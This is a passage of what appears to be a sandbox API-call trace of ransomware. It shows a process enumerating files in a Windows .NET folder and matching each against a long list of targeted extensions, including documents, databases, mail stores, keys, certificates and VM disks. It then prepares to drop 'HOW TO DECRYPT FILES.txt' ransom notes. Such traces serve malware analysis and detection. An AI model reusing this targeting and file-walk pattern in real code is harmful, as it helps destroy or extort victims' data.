(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.pst") returned 0 [0112.542] lstrlenA (lpString="*.pst") returned 5 [0112.542] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.ost") returned 0 [0112.543] lstrlenA (lpString="*.ost") returned 5 [0112.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.idx") returned 0 [0112.543] lstrlenA (lpString="*.idx") returned 5 [0112.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.dbx") returned 0 [0112.543] lstrlenA (lpString="*.dbx") returned 5 [0112.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.sql") returned 0 [0112.543] lstrlenA (lpString="*.sql") returned 5 [0112.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.mdb") returned 0 [0112.543] lstrlenA (lpString="*.mdb") returned 5 [0112.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.fdb") returned 0 [0112.543] lstrlenA (lpString="*.fdb") returned 5 [0112.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.wab") returned 0 [0112.543] lstrlenA (lpString="*.wab") returned 5 [0112.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.dat") returned 0 [0112.543] lstrlenA (lpString="*.dat") returned 5 [0112.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.txt") returned 0 [0112.543] lstrlenA (lpString="*.txt") returned 5 [0112.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.jpeg") returned 0 [0112.543] lstrlenA (lpString="*.jpeg") returned 6 [0112.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.jpg") returned 0 [0112.543] lstrlenA (lpString="*.jpg") returned 5 [0112.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.png") returned 0 [0112.543] lstrlenA (lpString="*.png") returned 5 [0112.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.php") returned 0 [0112.543] lstrlenA (lpString="*.php") returned 5 [0112.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.cs") returned 0 [0112.543] lstrlenA (lpString="*.cs") returned 4 [0112.543] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.cpp") returned 0 [0112.543] lstrlenA (lpString="*.cpp") returned 5 [0112.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.rar") returned 0 [0112.544] lstrlenA (lpString="*.rar") returned 5 [0112.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.zip") returned 0 [0112.544] lstrlenA (lpString="*.zip") returned 5 [0112.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.html") returned 0 [0112.544] lstrlenA (lpString="*.html") returned 6 [0112.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.htm") returned 0 [0112.544] lstrlenA (lpString="*.htm") returned 5 [0112.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.xlsx") returned 0 [0112.544] lstrlenA (lpString="*.xlsx") returned 6 [0112.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.xls") returned 0 [0112.544] lstrlenA (lpString="*.xls") returned 5 [0112.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.mp4") returned 0 [0112.544] lstrlenA (lpString="*.mp4") returned 5 [0112.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.ppt") returned 0 [0112.544] lstrlenA (lpString="*.ppt") returned 5 [0112.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.pptx") returned 0 [0112.544] lstrlenA (lpString="*.pptx") returned 6 [0112.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.doc") returned 0 [0112.544] lstrlenA (lpString="*.doc") returned 5 [0112.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.dot") returned 0 [0112.544] lstrlenA (lpString="*.dot") returned 5 [0112.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.docx") returned 0 [0112.544] lstrlenA (lpString="*.docx") returned 6 [0112.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.7z") returned 0 [0112.544] lstrlenA (lpString="*.7z") returned 4 [0112.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.tar") returned 0 [0112.544] lstrlenA (lpString="*.tar") returned 5 [0112.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.bz2") returned 0 [0112.544] lstrlenA (lpString="*.bz2") returned 5 [0112.544] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.gz") returned 0 [0112.545] lstrlenA (lpString="*.gz") returned 4 [0112.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.mkv") returned 0 [0112.545] lstrlenA (lpString="*.mkv") returned 5 [0112.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.eml") returned 0 [0112.545] lstrlenA (lpString="*.eml") returned 5 [0112.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.msg") returned 0 [0112.545] lstrlenA (lpString="*.msg") returned 5 [0112.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.edb") returned 0 [0112.545] lstrlenA (lpString="*.edb") returned 5 [0112.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.accdb") returned 0 [0112.545] lstrlenA (lpString="*.accdb") returned 7 [0112.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.odb") returned 0 [0112.545] lstrlenA (lpString="*.odb") returned 5 [0112.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.java") returned 0 [0112.545] lstrlenA (lpString="*.java") returned 6 [0112.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.asm") returned 0 [0112.545] lstrlenA (lpString="*.asm") returned 5 [0112.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.pfx") returned 0 [0112.545] lstrlenA (lpString="*.pfx") returned 5 [0112.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.pem") returned 0 [0112.545] lstrlenA (lpString="*.pem") returned 5 [0112.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.p12") returned 0 [0112.545] lstrlenA (lpString="*.p12") returned 5 [0112.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.gpg") returned 0 [0112.545] lstrlenA (lpString="*.gpg") returned 5 [0112.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.vsd") returned 0 [0112.545] lstrlenA (lpString="*.vsd") returned 5 [0112.545] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.odg") returned 0 [0112.545] lstrlenA (lpString="*.odg") returned 5 [0112.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.raw") returned 0 [0112.546] lstrlenA (lpString="*.raw") returned 5 [0112.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.nef") returned 0 [0112.546] lstrlenA (lpString="*.nef") returned 5 [0112.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.svg") returned 0 [0112.546] lstrlenA (lpString="*.svg") returned 5 [0112.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.psd") returned 0 [0112.546] lstrlenA (lpString="*.psd") returned 5 [0112.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.vmx") returned 0 [0112.546] lstrlenA (lpString="*.vmx") returned 5 [0112.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.vmdk") returned 0 [0112.546] lstrlenA (lpString="*.vmdk") returned 6 [0112.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.vdi") returned 0 [0112.546] lstrlenA (lpString="*.vdi") returned 5 [0112.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.lay6") returned 0 [0112.546] lstrlenA (lpString="*.lay6") returned 6 [0112.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.mpeg") returned 0 [0112.546] lstrlenA (lpString="*.mpeg") returned 6 [0112.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.djvu") returned 0 [0112.546] lstrlenA (lpString="*.djvu") returned 6 [0112.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.tiff") returned 0 [0112.546] lstrlenA (lpString="*.tiff") returned 6 [0112.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.backup") returned 0 [0112.546] lstrlenA (lpString="*.backup") returned 8 [0112.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.pdf") returned 0 [0112.546] lstrlenA (lpString="*.pdf") returned 5 [0112.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.cert") returned 0 [0112.546] lstrlenA (lpString="*.cert") returned 6 [0112.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.docm") returned 0 [0112.546] lstrlenA (lpString="*.docm") returned 6 [0112.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.xlsm") returned 0 [0112.547] lstrlenA (lpString="*.xlsm") returned 6 [0112.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.dwg") returned 0 [0112.547] lstrlenA (lpString="*.dwg") returned 5 [0112.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.nd") returned 0 [0112.547] lstrlenA (lpString="*.nd") returned 4 [0112.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.tlg") returned 0 [0112.547] lstrlenA (lpString="*.tlg") returned 5 [0112.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.lgb") returned 0 [0112.547] lstrlenA (lpString="*.lgb") returned 5 [0112.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.mov") returned 0 [0112.547] lstrlenA (lpString="*.mov") returned 5 [0112.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.xdw") returned 0 [0112.547] lstrlenA (lpString="*.xdw") returned 5 [0112.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.ods") returned 0 [0112.547] lstrlenA (lpString="*.ods") returned 5 [0112.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.wav") returned 0 [0112.547] lstrlenA (lpString="*.wav") returned 5 [0112.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.mp3") returned 0 [0112.547] lstrlenA (lpString="*.mp3") returned 5 [0112.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.aiff") returned 0 [0112.547] lstrlenA (lpString="*.aiff") returned 6 [0112.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.flac") returned 0 [0112.547] lstrlenA (lpString="*.flac") returned 6 [0112.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.m4a") returned 0 [0112.547] lstrlenA (lpString="*.m4a") returned 5 [0112.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\1e96bc85441d7719ea6f7e63c4c3e287\\System.Data.Services.Design.ni.dll", pszSpec="*.csv") returned 0 [0112.547] lstrlenA (lpString="*.csv") returned 5 [0112.547] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e8eed0c, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1e8eed0c, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1e8eed0c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x99c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Services.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.547] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.548] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1f0c5f, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1e1f0c5f, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1e1f0c5f, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="5d81c3e6fa9f3f78cd8d06d8cf2caff0", cAlternateFileName="5D81C3~1")) returned 1 [0112.548] lstrcmpA (lpString1=".", lpString2="5d81c3e6fa9f3f78cd8d06d8cf2caff0") returned -1 [0112.548] lstrcmpA (lpString1="..", lpString2="5d81c3e6fa9f3f78cd8d06d8cf2caff0") returned -1 [0112.548] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\*.*") returned="*.*" [0112.548] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\", lpString2="5d81c3e6fa9f3f78cd8d06d8cf2caff0" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0" [0112.548] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0") returned 100 [0112.548] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1f0c5f, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1e1f0c5f, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1e1f0c5f, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.548] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.548] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1f0c5f, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1e1f0c5f, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1e1f0c5f, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.548] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.548] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.548] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e13257e, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1e13257e, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1e17e83e, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x1c8200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Services.Client.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.548] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.548] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.Services.Client.ni.dll") returned -1 [0112.548] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.Services.Client.ni.dll") returned -1 [0112.549] lstrcmpiA (lpString1="", lpString2="System.Data.Services.Client.ni.dll") returned -1 [0112.549] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\*.*") returned="*.*" [0112.549] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\" [0112.549] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\") returned="" [0112.549] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\HOW TO DECRYPT FILES.txt" [0112.549] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data.service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\how to decrypt files.txt")) returned 0xffffffff [0112.549] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Service#\\5d81c3e6fa9f3f78cd8d06d8cf2caff0\\HOW TO DECRYPT FILES.txt" (normalized: 